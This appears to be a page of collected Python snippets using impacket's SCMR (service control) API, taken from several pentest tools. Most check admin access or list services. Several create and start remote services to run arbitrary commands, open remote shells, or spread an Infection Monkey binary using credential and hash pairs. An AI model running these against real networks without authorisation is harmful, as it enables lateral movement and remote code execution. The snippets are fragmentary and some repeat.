        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(scmr.MSRPC_UUID_SCMR)
        scmr.hROpenSCManagerW(dce, '{}\x00'.format(computer),
                              'ServicesActive\x00', 0xF003F)
        print("Local Admin access as " + user + " found on " + computer)
    except:
        pass
Beispiel #27
0
    def check_if_admin(self):
        if self.args.mssql:
            try:
                #I'm pretty sure there has to be a better way of doing this.
                #Currently we are just searching for our user in the sysadmin group

                self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
                query_output = self.conn.printRows()
                if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
                    self.admin_privs = True
            except:
                pass

        elif not self.args.mssql:
            '''
                We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. 
                If this succeeds, the user context has administrator access to the target.

                Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
            '''

            stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)

            rpctransport = transport.DCERPCTransportFactory(stringBinding)
            rpctransport.set_dport(self.args.smb_port)

            lmhash = ''
            nthash = ''
            if self.hash:
                if self.hash.find(':') != -1:
                    lmhash, nthash = self.hash.split(':')
                else:
                    nthash = self.hash

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(scmr.MSRPC_UUID_SCMR)

            lpMachineName = '{}\x00'.format(self.host)
            try:

                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx

                resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
                self.admin_privs = True
            except DCERPCException:
                pass
Beispiel #28
0
 def check_admin(self):
     try:
         self.__trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename='svcctl',
                                               smb_connection=self.smb, remote_host=self.__dstip)
         self.__trans.connect()
         self.__dce = self.__trans.get_dce_rpc()
         self.__dce.bind(scmr.MSRPC_UUID_SCMR)
         self.__resp = scmr.hROpenSCManagerW(self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE)
         self.__mgr_handle = self.__resp['lpScHandle']
         scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle)
         self.__dce.disconnect()
         return True
     except rpcrt.DCERPCException, e:
         pass
Beispiel #29
0
 def openSvcManager(self):
     LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
     # Setup up a DCE SMBTransport with the connection already in place
     self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\svcctl', smb_connection = self.connection)
     self.rpcsvc = self._rpctransport.get_dce_rpc()
     self.rpcsvc.connect()
     self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
     try:
         resp = scmr.hROpenSCManagerW(self.rpcsvc)
     except:
         LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
         raise Exception('Unable to open SVCManager')
     else:
         return resp['lpScHandle']
 def openSvcManager(self):
     LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
     # Setup up a DCE SMBTransport with the connection already in place
     self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\svcctl', smb_connection = self.connection)
     self.rpcsvc = self._rpctransport.get_dce_rpc()
     self.rpcsvc.connect()
     self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
     try:
         resp = scmr.hROpenSCManagerW(self.rpcsvc)
     except:
         LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
         raise Exception('Unable to open SVCManager')
     else:
         return resp['lpScHandle']
Beispiel #31
0
    def rpc_get_services(self):
        """
        Query services with stored credentials via RPC.
        These credentials can be dumped with mimikatz via lsadump::secrets or via secretsdump.py
        """
        binding = r'ncacn_np:%s[\PIPE\svcctl]' % self.addr
        serviceusers = []
        dce = self.dce_rpc_connect(binding, scmr.MSRPC_UUID_SCMR)
        if dce is None:
            logging.warning('Connection failed: %s', binding)
            return
        try:
            resp = scmr.hROpenSCManagerW(dce)
            scManagerHandle = resp['lpScHandle']
            # TODO: Figure out if filtering out service types makes sense
            resp = scmr.hREnumServicesStatusW(
                dce,
                scManagerHandle,
                dwServiceType=scmr.SERVICE_WIN32_OWN_PROCESS,
                dwServiceState=scmr.SERVICE_STATE_ALL)
            # TODO: Skip well-known services to save on traffic
            for i in range(len(resp)):
                try:
                    ans = scmr.hROpenServiceW(dce, scManagerHandle,
                                              resp[i]['lpServiceName'][:-1])
                    serviceHandle = ans['lpServiceHandle']
                    svcresp = scmr.hRQueryServiceConfigW(dce, serviceHandle)
                    svc_user = svcresp['lpServiceConfig'][
                        'lpServiceStartName'][:-1]
                    if '@' in svc_user:
                        logging.info(
                            "Found user service: %s running as %s on %s",
                            resp[i]['lpServiceName'][:-1], svc_user,
                            self.hostname)
                        serviceusers.append(svc_user)
                except DCERPCException as e:
                    if 'rpc_s_access_denied' not in str(e):
                        logging.debug(
                            'Exception querying service %s via RPC: %s',
                            resp[i]['lpServiceName'][:-1], e)
        except DCERPCException as e:
            logging.debug('Exception connecting to RPC: %s', e)
        except Exception as e:
            if 'connection reset' in str(e):
                logging.debug('Connection was reset: %s', e)
            else:
                raise e

        dce.disconnect()
        return serviceusers
def service_exec(conn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr

    service_name = ''.join([random.choice(string.letters) for i in range(6)])

    rpcsvc = conn.get_dce_rpc('svcctl')
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    svcHandle = None
    try:
        print(" Opening SVCManager on %s..." % conn.get_remote_host())
        resp = scmr.hROpenSCManagerW(rpcsvc)
        svcHandle = resp['lpScHandle']

        try:
            resp = scmr.hROpenServiceW(rpcsvc, svcHandle,
                                       service_name + '\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                raise e
        else:
            scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])

        print(" Creating Service %s..." % service_name)
        resp = scmr.hRCreateServiceW(rpcsvc,
                                     svcHandle,
                                     service_name + '\x00',
                                     service_name + '\x00',
                                     lpBinaryPathName=cmd + '\x00')
        serviceHandle = resp['lpServiceHandle']

        if serviceHandle:
            try:
                print(" Starting Service %s..." % service_name)
                scmr.hRStartServiceW(rpcsvc, serviceHandle)

            except Exception as e:
                print(str(e))

    except Exception as e:
        print(" ServiceExec Error on: %s" % conn.get_remote_host())
        print(str(e))
    finally:
        if svcHandle:
            scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

    rpcsvc.disconnect()
Beispiel #33
0
 def finish(self):
     # Just in case the service is still created
     try:
        self.__scmr = self.__rpc.get_dce_rpc()
        self.__scmr.connect() 
        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
        service = resp['lpServiceHandle']
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
        scmr.hRCloseServiceHandle(self.__scmr, service)
     except:
        pass
Beispiel #34
0
 def finish(self):
     # Just in case the service is still created
     try:
        self.__scmr = self.__rpc.get_dce_rpc()
        self.__scmr.connect() 
        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
        service = resp['lpServiceHandle']
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
        scmr.hRCloseServiceHandle(self.__scmr, service)
     except:
        pass
 def isAdmin(self):
     rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
     dce = rpctransport.get_dce_rpc()
     try:
         dce.connect()
     except:
         pass
     else:
         dce.bind(scmr.MSRPC_UUID_SCMR)
         try:
             # 0xF003F - SC_MANAGER_ALL_ACCESS
             # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
             ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
             return "TRUE"
         except scmr.DCERPCException as e:
             pass
     return "FALSE"
Beispiel #36
0
 def isAdmin(self):
     rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
     dce = rpctransport.get_dce_rpc()
     try:
         dce.connect()
     except:
         pass
     else:
         dce.bind(scmr.MSRPC_UUID_SCMR)
         try:
             # 0xF003F - SC_MANAGER_ALL_ACCESS
             # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
             ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
             return "TRUE"
         except scmr.DCERPCException as e:
             pass
     return "FALSE"
 def __restore(self):
     # First of all stop the service if it was originally stopped
     if self.__shouldStop is True:
         logging.info('Stopping service %s' % self.__serviceName)
         scmr.hRControlService(self.__scmr, self.__serviceHandle,
                               scmr.SERVICE_CONTROL_STOP)
     if self.__disabled is True:
         logging.info('Restoring the disabled state for service %s' %
                      self.__serviceName)
         scmr.hRChangeServiceConfigW(self.__scmr,
                                     self.__serviceHandle,
                                     dwStartType=0x4)
     if self.__serviceDeleted is False:
         # Check again the service we created does not exist, starting a new connection
         # Why?.. Hitting CTRL+C might break the whole existing DCE connection
         try:
             rpc = transport.DCERPCTransportFactory(
                 r'ncacn_np:%s[\pipe\svcctl]' %
                 self.__smbConnection.getRemoteHost())
             if hasattr(rpc, 'set_credentials'):
                 # This method exists only for selected protocol sequences.
                 rpc.set_credentials(*self.__smbConnection.getCredentials())
                 rpc.set_kerberos(self.__doKerberos)
             self.__scmr = rpc.get_dce_rpc()
             self.__scmr.connect()
             self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
             # Open SC Manager
             ans = scmr.hROpenSCManagerW(self.__scmr)
             self.__scManagerHandle = ans['lpScHandle']
             # Now let's open the service
             resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle,
                                        self.__tmpServiceName)
             service = resp['lpServiceHandle']
             scmr.hRDeleteService(self.__scmr, service)
             scmr.hRControlService(self.__scmr, service,
                                   scmr.SERVICE_CONTROL_STOP)
             scmr.hRCloseServiceHandle(self.__scmr, service)
             scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
             scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
             rpc.disconnect()
         except Exception, e:
             # If service is stopped it'll trigger an exception
             # If service does not exist it'll trigger an exception
             # So. we just wanna be sure we delete it, no need to
             # show this exception message
             pass
Beispiel #38
0
    def _open_impl(self):
        if self._svcmgr is not None:
            return

        self._smbconn = self._smbconfig.spawn_smb_connection()

        self._smbtransport = impkt_transport.SMBTransport(
            remoteName=self._smbconn.getRemoteHost(),  # getRemoteName(),
            remote_host=self._smbconn.getRemoteHost(),
            dstport=self._smbconn._sess_port,
            smb_connection=self._smbconn,
            filename="\\svcctl")

        self._rpcsvcctl = self._smbtransport.get_dce_rpc()
        self._rpcsvcctl.connect()
        self._rpcsvcctl.bind(impkt_scmr.MSRPC_UUID_SCMR)

        res = impkt_scmr.hROpenSCManagerW(self._rpcsvcctl)
        self._svcmgr = res["lpScHandle"]
Beispiel #39
0
 def exec(self, command):
     if not super().exec(command):
         return False
     try:
         stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.session.address
         logging.debug('StringBinding %s' % stringbinding)
         self._rpctransport = transport.DCERPCTransportFactory(stringbinding)
         self._rpctransport.set_dport(445)
         self._rpctransport.setRemoteHost(self.session.address)
         if hasattr(self._rpctransport, 'set_credentials'):
             # This method exists only for selected protocol sequences.
             self._rpctransport.set_credentials(self.session.username, self.session.password, self.session.domain,
                                                self.session.lmhash, self.session.nthash, self.session.aesKey)
         self._rpctransport.set_kerberos(self.session.kerberos, self.session.dc_ip)
         self._scmr = self._rpctransport.get_dce_rpc()
         try:
             self._scmr.connect()
         except Exception as e:
             raise Exception("An error occurred while connecting to SVCCTL: %s" % e)
         s = self._rpctransport.get_smb_connection()
         s.setTimeout(100000)
         self._scmr.bind(scmr.MSRPC_UUID_SCMR)
         resp = scmr.hROpenSCManagerW(self._scmr)
         _scHandle = resp['lpScHandle']
         resp = scmr.hRCreateServiceW(self._scmr, _scHandle, self._serviceName, self._serviceName, lpBinaryPathName=command,
                                      dwStartType=scmr.SERVICE_DEMAND_START)
         logging.debug("Service %s created" % self._serviceName)
         self._service = resp['lpServiceHandle']
         try:
             scmr.hRStartServiceW(self._scmr, self._service)
             logging.debug("Service %s restarted for command execution" % self._serviceName)
         except:
             pass
         self.clean()
     except KeyboardInterrupt as e:
         logging.debug("Keyboard interrupt: Trying to delete %s if it exists" % self._serviceName)
         self.clean()
         raise KeyboardInterrupt(e)
     except Exception as e:
         self.clean()
         raise Exception(e)
     return True
Beispiel #40
0
    def __init__(self, share, rpc, mode, serviceName):
        logging.debug('Inside RemoteShell init, before cmd.Cmd.init')
        cmd.Cmd.__init__(self)
        logging.debug('Inside RemoteShell init, after cmd.Cmd.init')        
        self.__share = share
        self.__mode = mode
        #OUTPUT_FILENAME = gen_random_string()
        #BATCH_FILENAME = gen_random_string()
        self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 
        self.__outputBuffer = b''
        self.__command = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc
        self.intro = "   .... i'm in \n"


        self.__scmr = rpc.get_dce_rpc()
        logging.debug('after rpc.get_dce_rpc()')
        try:
            self.__scmr.connect()
            logging.debug('after self.__scmr.connect()')
        except Exception as e:
            logging.critical(str(e))
            sys.exit(1)

        s = rpc.get_smb_connection()
        logging.debug('after getSMBconnection ')

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)
        if mode == 'SERVER':
            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
            logging.debug('Myip: {} '.format(myIPaddr))
            self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = rpc.get_smb_connection()
        self.do_cd('')
Beispiel #41
0
class RemoteShell(cmd.Cmd):
    #def __init__(self, share, rpc, mode, serviceName):
    def __init__(self, share, rpc, mode, serviceName, command):
        cmd.Cmd.__init__(self)
        self.__share = share
        self.__mode = mode
        self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 
        self.__outputBuffer = ''
        self.__command = command
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute'

        self.__scmr = rpc.get_dce_rpc()
	#self.__scmr.disconnect()
	found=False
	while found==False:
         try:
            self.__scmr.connect()
	    found=True
         except Exception, e:
	    #print "heretest2"
	    #[Errno Connection error (172.16.126.132:62699)] [Errno 61] Connection refused
            #logging.critical(str(e))
	    if "The NETBIOS connection with the remote host timed out." in str(e) or "Connection reset by peer" in str(e) or "Connection error" in str(e):
            	#self.__scmr.disconnect()
		pass
	    else:
 	        os._exit(1)
	    #pass
        s = rpc.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = rpc.get_smb_connection()
        self.do_cd('')
 def __restore(self):
     # First of all stop the service if it was originally stopped
     if self.__shouldStop is True:
         logging.info('Stopping service %s' % self.__serviceName)
         scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
     if self.__disabled is True:
         logging.info('Restoring the disabled state for service %s' % self.__serviceName)
         scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
     if self.__serviceDeleted is False:
         # Check again the service we created does not exist, starting a new connection
         # Why?.. Hitting CTRL+C might break the whole existing DCE connection
         try:
             rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
             if hasattr(rpc, 'set_credentials'):
                 # This method exists only for selected protocol sequences.
                 rpc.set_credentials(*self.__smbConnection.getCredentials())
                 rpc.set_kerberos(self.__doKerberos)
             self.__scmr = rpc.get_dce_rpc()
             self.__scmr.connect()
             self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
             # Open SC Manager
             ans = scmr.hROpenSCManagerW(self.__scmr)
             self.__scManagerHandle = ans['lpScHandle']
             # Now let's open the service
             resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
             service = resp['lpServiceHandle']
             scmr.hRDeleteService(self.__scmr, service)
             scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
             scmr.hRCloseServiceHandle(self.__scmr, service)
             scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
             scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
             rpc.disconnect()
         except Exception, e:
             # If service is stopped it'll trigger an exception
             # If service does not exist it'll trigger an exception
             # So. we just wanna be sure we delete it, no need to 
             # show this exception message
             pass
Beispiel #43
0
    def connect_scmr(self):
        rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.machine)
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        # dce.set_max_fragment_size(32)
        dce.connect()
        dce.bind(scmr.MSRPC_UUID_SCMR)
        lpMachineName = 'DUMMY\x00'
        lpDatabaseName = 'ServicesActive\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \
                        scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | \
                        scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE

        resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName, desiredAccess)
        scHandle = resp['lpScHandle']

        return dce, rpctransport, scHandle
Beispiel #44
0
            scmr_rpc = rpctransport.get_dce_rpc()

            try:
                scmr_rpc.connect()
            except Exception, exc:
                LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                         host, exc)
                return False

            smb_conn = rpctransport.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp['lpScHandle']

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey",
                                     lpBinaryPathName=cmdline)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(scmr_rpc, service)
        except:
            pass
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
Beispiel #45
0
    def doStuff(self, rpctransport):
        dce = rpctransport.get_dce_rpc()
        #dce.set_credentials(self.__username, self.__password)
        dce.connect()
        #dce.set_max_fragment_size(1)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
        dce.bind(scmr.MSRPC_UUID_SCMR)
        #rpc = svcctl.DCERPCSvcCtl(dce)
        rpc = dce
        ans = scmr.hROpenSCManagerW(rpc)
        scManagerHandle = ans['lpScHandle']
        if self.__action != 'LIST' and self.__action != 'CREATE':
            ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00')
            serviceHandle = ans['lpServiceHandle']

        if self.__action == 'START':
            print "Starting service %s" % self.__options.name
            scmr.hRStartServiceW(rpc, serviceHandle)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'STOP':
            print "Stopping service %s" % self.__options.name
            scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'DELETE':
            print "Deleting service %s" % self.__options.name
            scmr.hRDeleteService(rpc, serviceHandle)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'CONFIG':
            print "Querying service config for %s" % self.__options.name
            resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
            print "TYPE              : %2d - " % resp['lpServiceConfig']['dwServiceType'],
            if resp['lpServiceConfig']['dwServiceType'] & 0x1:
                print "SERVICE_KERNEL_DRIVER ",
            if resp['lpServiceConfig']['dwServiceType'] & 0x2:
                print "SERVICE_FILE_SYSTEM_DRIVER ",
            if resp['lpServiceConfig']['dwServiceType'] & 0x10:
                print "SERVICE_WIN32_OWN_PROCESS ",
            if resp['lpServiceConfig']['dwServiceType'] & 0x20:
                print "SERVICE_WIN32_SHARE_PROCESS ",
            if resp['lpServiceConfig']['dwServiceType'] & 0x100:
                print "SERVICE_INTERACTIVE_PROCESS ",
            print ""
            print "START_TYPE        : %2d - " % resp['lpServiceConfig']['dwStartType'],
            if resp['lpServiceConfig']['dwStartType'] == 0x0:
                print "BOOT START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x1:
                print "SYSTEM START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x2:
                print "AUTO START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x3:
                print "DEMAND START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x4:
                print "DISABLED"
            else:
                print "UNKOWN"

            print "ERROR_CONTROL     : %2d - " % resp['lpServiceConfig']['dwErrorControl'],
            if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
                print "IGNORE"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
                print "NORMAL"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
                print "SEVERE"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
                print "CRITICAL"
            else:
                print "UNKOWN"
            print "BINARY_PATH_NAME  : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]
            print "LOAD_ORDER_GROUP  : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]
            print "TAG               : %d" % resp['lpServiceConfig']['dwTagId']
            print "DISPLAY_NAME      : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]
            print "DEPENDENCIES      : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]
            print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]
        elif self.__action == 'STATUS':
            print "Querying status for %s" % self.__options.name
            resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
            print "%30s - " % (self.__options.name),
            state = resp['lpServiceStatus']['dwCurrentState']
            if state == scmr.SERVICE_CONTINUE_PENDING:
               print "CONTINUE PENDING"
            elif state == scmr.SERVICE_PAUSE_PENDING:
               print "PAUSE PENDING"
            elif state == scmr.SERVICE_PAUSED:
               print "PAUSED"
            elif state == scmr.SERVICE_RUNNING:
               print "RUNNING"
            elif state == scmr.SERVICE_START_PENDING:
               print "START PENDING"
            elif state == scmr.SERVICE_STOP_PENDING:
               print "STOP PENDING"
            elif state == scmr.SERVICE_STOPPED:
               print "STOPPED"
            else:
               print "UNKOWN"
        elif self.__action == 'LIST':
            print "Listing services available on target"
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
            resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
            for i in range(len(resp)):
                print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]),
                state = resp[i]['ServiceStatus']['dwCurrentState']
                if state == scmr.SERVICE_CONTINUE_PENDING:
                   print "CONTINUE PENDING"
                elif state == scmr.SERVICE_PAUSE_PENDING:
                   print "PAUSE PENDING"
                elif state == scmr.SERVICE_PAUSED:
                   print "PAUSED"
                elif state == scmr.SERVICE_RUNNING:
                   print "RUNNING"
                elif state == scmr.SERVICE_START_PENDING:
                   print "START PENDING"
                elif state == scmr.SERVICE_STOP_PENDING:
                   print "STOP PENDING"
                elif state == scmr.SERVICE_STOPPED:
                   print "STOPPED"
                else:
                   print "UNKOWN"
            print "Total Services: %d" % len(resp)
        elif self.__action == 'CREATE':
            print "Creating service %s" % self.__options.name
            resp = scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.name + '\x00', self.__options.display + '\x00', lpBinaryPathName=self.__options.path + '\x00')
        elif self.__action == 'CHANGE':
            print "Changing service config for %s" % self.__options.name
            if self.__options.start_type is not None:
                start_type = int(self.__options.start_type)
            else:
                start_type = scmr.SERVICE_NO_CHANGE
            if self.__options.service_type is not None:
                service_type = int(self.__options.service_type)
            else:
                service_type = scmr.SERVICE_NO_CHANGE

            if self.__options.display is not None:
                display = self.__options.display + '\x00'
            else:
                display = NULL
 
            if self.__options.path is not None:
                path = self.__options.path + '\x00'
            else:
                path = NULL
 
            if self.__options.start_name is not None:
                start_name = self.__options.start_name + '\x00'
            else:
                start_name = NULL 

            if self.__options.password is not None:
                s = rpctransport.get_smb_connection()
                key = s.getSessionKey()
                password = (self.__options.password+'\x00').encode('utf-16le')
                password = encryptSecret(key, password)
            else:
                password = NULL
 

            #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle,  display, path, service_type, start_type, start_name, password)
            resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        else:
            print "Unknown action %s" % self.__action

        scmr.hRCloseServiceHandle(rpc, scManagerHandle)

        dce.disconnect()

        return 
    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        exploited = False
        for user, password, lm_hash, ntlm_hash in creds:
            try:
                # copy the file remotely using SMB
                remote_full_path = SmbTools.copy_file(self.host,
                                                      src_path,
                                                      self._config.dropper_target_path,
                                                      user,
                                                      password,
                                                      lm_hash,
                                                      ntlm_hash,
                                                      self._config.smb_download_timeout)

                if remote_full_path is not None:
                    LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
                              self.host, user, password, lm_hash, ntlm_hash)
                    self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
                    exploited = True
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)

            except Exception as exc:
                LOG.debug("Exception when trying to copy file using SMB to %r with user:"******" %s, password: '******', LM hash: %s, NTLM hash: %s: (%s)", self.host,
                          user, password, lm_hash, ntlm_hash, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter SmbExec is giving up...")
            return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower() != self._config.dropper_target_path.lower():
            cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
        else:
            cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1)

        for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
            rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
            rpctransport.set_dport(port)

            if hasattr(rpctransport, 'preferred_dialect'):
                rpctransport.preferred_dialect(SMB_DIALECT)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(user, password, '',
                                             lm_hash, ntlm_hash, None)
            rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

            scmr_rpc = rpctransport.get_dce_rpc()

            try:
                scmr_rpc.connect()
            except Exception as exc:
                LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                         self.host, exc)
                return False

            smb_conn = rpctransport.get_smb_connection()
            break

        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp['lpScHandle']

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
                                     lpBinaryPathName=cmdline)
        service = resp['lpServiceHandle']

